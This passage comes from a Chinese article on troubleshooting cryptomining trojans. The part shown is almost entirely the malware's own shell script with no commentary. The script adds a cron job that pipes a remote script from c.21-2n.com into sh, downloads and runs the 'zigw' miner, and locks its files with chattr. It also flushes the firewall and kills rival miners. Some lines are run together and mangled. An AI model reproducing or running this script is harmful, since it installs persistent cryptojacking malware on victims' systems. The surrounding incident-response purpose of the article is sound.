如何排查常见挖矿木马( 五 )


    sh /etc/shz.sh  fi
else
  echo "goto 1" > /tmp/gmbpr2
  chattr -i $cont
  if [ -f "$bbdir" ]   then
    [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
   else
    [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
  fi
  ps -fe|grep zigw |grep -v grep  if [ $? -ne 0 ]   then
    cd /tmp
    filesize=`ls -l zigw | awk '{ print $5 }'`
    file="/tmp/zigw"
    if [ -f "$file" ]     then
      if [ "$filesize" -ne "1467080" ]       then
        chattr -i /tmp/zigw
        rm -f zigw        if [ -f "$bbdir" ]        then
         curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw        elif [ -f "$bbdira" ]        then
         url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw        elif [ -f "$ccdir" ]        then
         wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw        elif [ -f "$ccdira" ]        then
         get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw        fi
      fi
     else
      if [ -f "$bbdir" ]      then
       curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw      elif [ -f "$bbdira" ]      then
       url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw      elif [ -f "$ccdir" ]      then
       wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw      elif [ -f "$ccdira" ]      then
       get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw      fi
    fi
    chmod 777 zigw
    sleep 1s
    ./zigw   else
    echo "runing....."
  fi
  chmod 777 /tmp/zigw
  chattr +i /tmp/zigw
  chmod 777 /tmp/shz.sh
  chattr +i /tmp/shz.sh
  shdir='/tmp/shz.sh'
  if [ -f "$shdir" ]   then
    echo "exists shell"
   else
    if [ -f "$bbdir" ]    then
     curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh    elif [ -f "$bbdira" ]    then
     url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh    elif [ -f "$ccdir" ]    then
     wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh    elif [ -f "$ccdira" ]    then
     get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh    fi
    sh /tmp/shz.sh  fifiiptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9


推荐阅读